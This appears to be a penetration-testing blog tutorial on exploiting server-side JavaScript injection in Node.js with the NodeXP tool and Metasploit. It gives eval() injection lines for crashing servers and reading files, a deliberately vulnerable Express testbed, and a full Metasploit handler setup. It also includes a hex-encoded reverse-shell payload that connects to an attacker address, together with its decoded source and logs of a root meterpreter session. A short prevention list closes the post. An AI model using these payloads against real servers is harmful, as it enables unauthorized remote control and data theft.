Server Side JavaScript Injection with NodeXP (Usage Example, SSJI, Metasploit)

Last Commit: 10/04/2018

Server Side JavaScript Injection with NodeXP (Usage Example, SSJI, Metasploit)

Introduction

Server Side JavaScript Injection with NodeXP wasn’t idealy explained in initial (introduction) post, so we’ll quickly & practicaly go through the steps of SSJI, relying on Metasploit to take over the system. For some general/install info, check – Server Side JavaScript Injection Tool – NodeXP.

Server Side JS Injection (SSJI)

Some JS functions can be exploited by an attacker to execute malicious JS code on the server:

  • eval()
  • setTimeout()
  • setInterval()
  • Function()

Without approriate input validation they are vulnerable. For instance, doing DoS (Denial of Service) with eval():

while(1)

It’s going to take 100% of CPU time.

process.exit() / process.kill(process.pid)

Will kill running process (NodeJS)

We can read/list current directory or specific path:

res.end(require('fs').readdirSync('.').toString())

or

res.end(require('fs').readdirSync(<PATH>).toString())

Read specific file:

res.end(require('fs').readFileSync(filename))

Basically attacker can execute/do almost anything on the system (within user permission limits). Next, we’ll show a few Server Side JavaScript Injection with NodeXP examples.

NodeXP vs Localhost

Localhost example is straightforward. Example for GET:

$ python nodexp.py --url=http://localhost:3001/?name=[INJECT_HERE]

you might want to add –LHOST and –LPORT to avoid adding them later.

A POST example is similar:

$ python nodexp.py --url=http://localhost:3001/post.js --pdata=username=[INJECT_HERE]

nodexp_localhost

NodeXP vs Remote system (domain)

For this test, we already have a “vulnerable” NodeJS server sample in nodexp/testbeds/GET. We’ll host it on TARGET server (6.6.6.6):

var express = require('express');
var app = express();
app.get('/', function(req, res) { 
     var resp=eval(req.query.name);
     res.send('Response</br>'+resp);
});
app.listen(3002);

Attacker will come from 3.3.3.3 server. Run eval.js on target server (install express if needed, as mentioned in the inital post: $ npm install express --save)

$ sudo node eval.js

Run Metasploit on attacker side:

$ msfconsole
       =[ metasploit v4.17.18-dev- ]
+ -- --=[ 1818 exploits - 1029 auxiliary - 315 post ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload nodejs/shell_reverse_tcp
payload => nodejs/shell_reverse_tcp
msf exploit(multi/handler) > set lhost 3.3.3.3
lhost => 3.3.3.3
msf exploit(multi/handler) > set lport 3005
lport => 3005
msf exploit(multi/handler) > set ExitOnSession true 
ExitOnSession => true
msf exploit(multi/handler) > set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' 
InitialAutoRunScript => post/multi/manage/shell_to_meterpreter
msf exploit(multi/handler) > spool /home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc.output.txt
[*] Spooling to file /home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc.output.txt...
msf exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.

msf exploit(multi/handler) > [*] Started reverse TCP handler on 3.3.3.3:3005

Then scan targeted server with NodeXP:

$ python2.7 nodexp.py --url=http://6.6.6.6:3001/?name=[INJECT_HERE] --lhost 3.3.3.3 --lport 3005

Test tries 15 different payloads:

  1. payload: name=res.end(“thats my payload -> 1 -> esvOXhkEAgmNQWZV”)
  2. payload: name=response.end(“thats my payload -> 1 -> esvOXhkEAgmNQWZV”)
  3. payload: name=res.end(“esvOXhkEAgmNQWZV”)
  4. payload: name=response.end(“esvOXhkEAgmNQWZV”)
  5. payload: name=eval(esvOXhkEAgmNQWZV)
  6. payload: name=eval(“esvOXhkEAgmNQWZV”)
  7. payload: name=res.end(“ReferenceError -> esvOXhkEAgmNQWZV”)
  8. payload: name=res.end(“esvOXhkEAgmNQWZV”)
  9. payload: name=res.end(‘esvOXhkEAgmNQWZV’)
  10. payload: name=eval(‘”esvOXhkEAgmNQWZV”‘)
  11. payload: name=eval(“esvOXhkEAgmNQWZV”)
  12. payload: name=response.end(“esvOXhkEAgmNQWZV”)
  13. payload: name=response.end(‘esvOXhkEAgmNQWZV’)
  14. payload: name=res.end(‘esvOXhkEAgmNQWZV’)
  15. payload: name=10&roth=0&afterTax=0

Check additional options/parameters (e.g. different injection technique [–tech]). We’ll try upgrading to meterpreter shell with the first vulnerability we find.

Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more. Stagers setup a network connection between the attacker and victim and are designed to be small and reliable. Stages are payload components that are downloaded by Stagers modules.
|----------------------------------------------------------|
|          --Server Side Javascript Injection--            |
|    -Detection & Exploitation Tool on Node.js Servers-    |
|----------------------------------------------------------|
|----------------------------------------------------------|
|                                                          |
| 888b    888               888                            |
| 8888b   888               888                            |
| 88888b  888               888                            |
| 888Y88b 888  .d88b.   .d88888  .d88b.  888  888 88888b.  |
| 888 Y88b888 d88""88b d88" 888 d8P  Y8b `Y8bd8P` 888 "88b |
| 888  Y88888 888  888 888  888 88888888   X88K   888  888 |
| 888   Y8888 Y88..88P Y88b 888 Y8b.     .d8""8b. 888 d88P |
| 888    Y888  "Y88P"   "Y88888  "Y8888  888  888 88888P"  |
|                                                 888      |
|                                                 888      |
|                                                 888      |
|----------------------------------------------------------|

...
...

[<] Show injection (Try no. 1) results :
[!] SSJI Done based on payload and it's dynamic response (thats my payload)!
[!] SSJI Done based on payload and it's dynamic response (1)!
[!] SSJI Done based on payload and it's dynamic response (esvOXhkEKgmNQWMV)!
[i] Payload : name=res.end("thats my payload -> 1 -> esvOXhkEKgmNQWMV")
[i] Valid Response(s): ['thats my payload', '1', 'esvOXhkEKgmNQWMV']
[?] Application seems vulnerable. Try for meterpreter shell?
[-] Enter 'y' for 'yes' or 'n' for 'no'.
 -

Type 'Y'.  That’s going to generate payload/.rc/metasploit files:

[>]

-----------------------------------------------------------|
[!] Starting exploitation process!
-----------------------------------------------------------|

[<] Initialize exploitation variables.
[!] Setting local host ip: 'LHOST' = '3.3.3.3'
[!] Setting local port: 'LPORT' = '3005'
[!] Exploitation variables successfully defined!
[>]

[<] Generate exploitation files and run metasploit.
[i] Successfully generated payload file! [/home/centos/TEST_AREA/nodexp/scripts/nodejs_payload.js]
[i] Successfully generated metasploit log file (spool file) [/home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc.output.txt]
[i] Successfully generated .rc script! [/home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc]
[-] Opening metasploit console...
sh: gnome-terminal: command not found
sh: /root/Desktop/logs.txt: Permission denied
[i] Successfully loaded metasploit!
[?] Please, select options above:
 (1) Upload the payload at '3.3.3.3:3005' (current metasploit session); type: '1'
 (2) If you want to exit; type: '2'
 -

At this point, payload is ready for deployment. Compared to localhost (desktop) execution where NodeXP opens up a new terminal window with Metasploit (gnome-terminal), when working on a dedicated server that’s not going to be available (terminal environment only). In that case type ‘2’ (exit) or start another terminal and go to  NodeXP directory. Look for script/nodejs_payload.js. There, you’ll find the payload encoded in HEX form, ready for deployment:

;eval(new Buffer(‘2866756e6374696f6e28297b207661722072657175697265203d20676c6f62616c2e72657175697265207c7c20676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f61643b20696620282172657175697265292072657475726e3b2076617220636d64203d2028676c6f62616c2e70726f636573732e706c6174666f726d2e6d61746368282f5e77696e2f692929203f2022636d6422203a20222f62696e2f7368223b20766172206e6574203d207265717569726528226e657422292c206370203d207265717569726528226368696c645f70726f6365737322292c207574696c203d207265717569726528227574696c22292c207368203d2063702e737061776e28636d642c205b5d293b2076617220636c69656e74203d20746869733b2076617220636f756e7465723d303b2066756e6374696f6e2053746167657252657065617428297b20636c69656e742e736f636b6574203d206e65742e636f6e6e65637428333030352c2022332e332e332e33222c2066756e6374696f6e2829207b20636c69656e742e736f636b65742e706970652873682e737464696e293b2069662028747970656f66207574696c2e70756d70203d3d3d2022756e646566696e65642229207b2073682e7374646f75742e7069706528636c69656e742e736f636b6574293b2073682e7374646572722e7069706528636c69656e742e736f636b6574293b207d20656c7365207b207574696c2e70756d702873682e7374646f75742c20636c69656e742e736f636b6574293b207574696c2e70756d702873682e7374646572722c20636c69656e742e736f636b6574293b207d207d293b20736f636b65742e6f6e28226572726f72222c2066756e6374696f6e286572726f7229207b20636f756e7465722b2b3b20696628636f756e7465723c3d203130297b2073657454696d656f75742866756e6374696f6e2829207b2053746167657252657065617428293b7d2c20352a31303030293b207d20656c73652070726f636573732e6578697428293b207d293b207d2053746167657252657065617428293b207d2928293b’, ‘hex’).toString());

Decoded:

(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? “cmd” : “/bin/sh”; var net = require(“net”), cp = require(“child_process”), util = require(“util”), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(3005, “3.3.3.3”, function() { client.socket.pipe(sh.stdin); if (typeof util.pump === “undefined”) { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(“error”, function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();

Payload basically uses NodeJS functions to create a connection towards Metasploit server. Metasploit will then upgrade that connection/shell to meterpreter, providing you the access to the system. We’ve previously started NodeJS server (eval.js). Open browser and type that in:

http://6.6.6.6:3002/?name=;eval(new Buffer(‘2866756e6374696f6e28297b207661722072657175697265203d20676c6f62616c2e72657175697265207c7c20676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f61643b20696620282172657175697265292072657475726e3b2076617220636d64203d2028676c6f62616c2e70726f636573732e706c6174666f726d2e6d61746368282f5e77696e2f692929203f2022636d6422203a20222f62696e2f7368223b20766172206e6574203d207265717569726528226e657422292c206370203d207265717569726528226368696c645f70726f6365737322292c207574696c203d207265717569726528227574696c22292c207368203d2063702e737061776e28636d642c205b5d293b2076617220636c69656e74203d20746869733b2076617220636f756e7465723d303b2066756e6374696f6e2053746167657252657065617428297b20636c69656e742e736f636b6574203d206e65742e636f6e6e65637428333030352c2022332e332e332e33222c2066756e6374696f6e2829207b20636c69656e742e736f636b65742e706970652873682e737464696e293b2069662028747970656f66207574696c2e70756d70203d3d3d2022756e646566696e65642229207b2073682e7374646f75742e7069706528636c69656e742e736f636b6574293b2073682e7374646572722e7069706528636c69656e742e736f636b6574293b207d20656c7365207b207574696c2e70756d702873682e7374646f75742c20636c69656e742e736f636b6574293b207574696c2e70756d702873682e7374646572722c20636c69656e742e736f636b6574293b207d207d293b20736f636b65742e6f6e28226572726f72222c2066756e6374696f6e286572726f7229207b20636f756e7465722b2b3b20696628636f756e7465723c3d203130297b2073657454696d656f75742866756e6374696f6e2829207b2053746167657252657065617428293b7d2c20352a31303030293b207d20656c73652070726f636573732e6578697428293b207d293b207d2053746167657252657065617428293b207d2928293b’, ‘hex’).toString());

That’s going to establish a connection & trigger Metasploit  “Upgrade” procedure:

msf exploit(multi/handler) > [*] Started reverse TCP handler on 3.3.3.3:3005 
[*] Command shell session 1 opened (3.3.3.3:3005 -> 6.6.6.6:34264) at 2018-10-18 16:08:34 +0200
[*] Session ID 1 (3.3.3.3:3005 -> 6.6.6.6:34264) processing InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter'
[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 3.3.3.3:4433 
[*] Sending stage (861480 bytes) to 6.6.6.6
[*] Meterpreter session 2 opened (3.3.3.3:4433 -> 6.6.6.6:40208) at 2018-10-18 16:08:41 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Stopping exploit/multi/handler

msf exploit(multi/handler) > sessions 
Active sessions =============== 
Id Name Type Information Connection 
-- ---- ---- ----------- ---------- 
1 shell nodejs/nodejs 6.6.6.6:3005 -> 3.3.3.3:34264 
2 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.3 6.6.6.6:4433 -> 3.3.3.3:40208 
msf exploit(multi/handler) > sessions 2 
[*] Starting interaction with 2... 
meterpreter > pwd 
/home/unknown/TEST_AREA/nodexp/testbeds/GET

We’re on the remote system. In short, Server Side JavaScript Injection with NodeXP diagram:

NodeXP example graph

SSJI Prevention

To prevent Server Side Javascript Injection:

    • Before processing, validate user inputs on the server side
    • Do not use eval() to parse user inputs and avoid similar commands: setTimeout(), setInterval() and function()
    • For JSON parsing, instead of eval, use JSON.parse()
  • Do type conversion with parseXXX() methods
  • Include “use strict” at the begining, which enables strict mode within the enclosing function scope

Conclusion

Server Side JavaScript Injection with NodeXP is just one way/one of the tools we can use (simple example). NodeXP is relatively simple yet usefull tool, trying different payloads until it gets a right response from the server, exposing a vulnerability. Point is, without security awarness during development process, you can jeopardize entire system. Mind you steps while developing.

Download Box